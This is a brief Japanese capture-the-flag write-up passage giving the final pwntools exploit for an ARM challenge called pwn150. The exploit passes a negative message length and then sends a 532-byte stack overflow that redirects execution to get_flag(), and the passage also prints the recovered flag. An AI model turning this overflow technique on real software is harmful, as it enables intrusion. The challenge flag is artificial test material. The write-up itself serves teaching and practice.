最終的なExploitコードは次のようになりました。

from pwn import *

HOST = "165.227.98.55"
PORT = 2222
#conn = process(['strace', 'qemu-arm-static', './pwn150'])
conn = remote(HOST, PORT)
conn.sendlineafter('What is your name?', 'A')
conn.sendlineafter('Enter Y or N:', 'Y')
conn.sendlineafter('Please, enter length of your message:', '-1')
payload = 'A' * 532
payload += p32(0x104d8)
log.success("get_flag()")
conn.sendline(payload)
conn.stream()
conn.close()

Flag h4ck1t{Astronomy_is_fun}

この問題はARMでしたが、実行環境が整えば x86/x86_64 と何ら変わらないやり方でいける問題でした。